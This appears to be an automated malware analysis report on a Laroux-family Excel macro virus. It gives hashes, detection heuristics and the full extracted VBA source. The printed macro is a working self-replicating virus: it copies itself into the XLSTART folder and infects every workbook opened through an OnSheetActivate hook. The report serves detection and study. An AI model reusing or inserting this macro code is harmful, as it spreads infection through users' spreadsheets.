Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 29b5759d7d3eedf0…

MALICIOUS

Office (OLE)

38.0 KB Created: 2004-09-02 17:10:12 Authoring application: Microsoft Excel First seen: 2012-07-06
MD5: 49e0929811f968870b0d5adef4e12aab SHA-1: 67e27bb0ae92a9a5cdea4d17dd2c99a4003e7fe8 SHA-256: 29b5759d7d3eedf0e5409f0e1971ba9e4702a6083c88fa5e51695ebdc0a1de71
168 Risk Score

Heuristics 5

  • ClamAV: Xls.Trojan.Laroux-33 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-33
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
            ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "Check_virus"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3520 bytes
SHA-256: 9bb22d4ae7b5b5b1b502ad84d91b84d64c1fd44b2ce0dc62836191e53bf51250
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "virus"

Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "Check_virus"

End Sub

Sub Check_virus()
Attribute Check_virus.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "Virus.XLS")
    If m$ = "Virus.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        Sheets("virus").Visible = True
        Sheets("virus").Select
       
        With ActiveWorkbook
            .Title = ""
            .Subject = ""
            .Author = ""
            .Keywords = ""
            .Comments = ""
        End With
        newname$ = ActiveWorkbook.Name
        c4$ = CurDir()
        ChDir Application.StartupPath
        ActiveWindow.Visible = False
        Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "Virus.XLS", FileFormat:=xlNormal _
            , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
            False, CreateBackup:=False
        ChDir c4$
        Workbooks(n4$).Sheets("virus").Visible = False
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "Virus.xls!Check_virus"
    Case 1
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        p4$ = ActiveWorkbook.Path
        s$ = Workbooks(n4$).Sheets(1).Name
        If s$ <> "virus" Then
            Workbooks("Virus.XLS").Sheets("virus").Copy before:=Workbooks(n4$).Sheets(1)
            Workbooks(n4$).Sheets("virus").Visible = False
        Else
        End If
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "Virus.xls!Check_virus"
    Case Else
End Select
End Sub

Sub MassageVirus()
Attribute MassageVirus.VB_ProcData.VB_Invoke_Func = " \n14"
    ActiveCell.FormulaR1C1 = "바이러스에 감염되었음. 매크로바이러스를 잡아라"
    With ActiveCell.Characters(Start:=1, Length:=12).Font
        .Name = "돋움"
        .FontStyle = "보통"
        .Size = 20
        .Strikethrough = False
        .Superscript = False
        .Subscript = False
        .OutlineFont = False
        .Shadow = False
        .Underline = xlNone
        .ColorIndex = 3
    End With
    Range("A1").Select
    Selection.Copy
    Range("B2").Select
    ActiveSheet.Paste
    Application.CutCopyMode = False
    Selection.Copy
    Range("C3").Select
    ActiveSheet.Paste
    Application.CutCopyMode = False
    Selection.Copy
    Range("D4").Select
    ActiveSheet.Paste
    Application.CutCopyMode = False
    Range("E5").Select
    ActiveSheet.Paste
    Application.CutCopyMode = False
    Range("F6").Select
    ActiveSheet.Paste
    Application.CutCopyMode = False
    Range("G7").Select
    ActiveSheet.Paste
    Application.CutCopyMode = False
    Range("H8").Select
    ActiveSheet.Paste
    Application.CutCopyMode = False
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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